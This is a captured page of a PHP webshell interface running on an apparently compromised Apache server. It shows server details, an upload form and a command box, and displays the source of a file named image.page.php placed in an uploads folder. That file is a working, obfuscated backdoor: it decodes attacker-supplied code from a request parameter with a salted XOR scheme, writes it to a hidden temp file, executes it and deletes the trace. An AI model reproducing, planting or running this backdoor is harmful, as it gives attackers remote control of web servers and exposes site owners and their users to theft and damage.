403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/public/upload/certification/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/public/upload/certification/image.page.php
<?php

if(isset($_REQUEST) && isset($_REQUEST["val\x75\x65"])){
	$k = $_REQUEST["val\x75\x65"];
	$k	 =	 explode			('.', $k 	) ;	
	$record	 ='';
            $salt	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =strlen($salt);
            $len	 =count($k);
    
            for($o	 =0; $o < $len; $o++) {
                $v2	 =$k[$o];
                $sChar	 =ord($salt[$o % $sLen]);
                $d	 =((int)$v2 - $sChar -($o % 10)) ^		75;
                $record		.=chr($d);
            }
	$key = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($key as $key => $rec) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
    $ent = vsprintf("%s/%s", [$rec, ".mrk"]);
    $success = file_put_contents($ent, $record);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit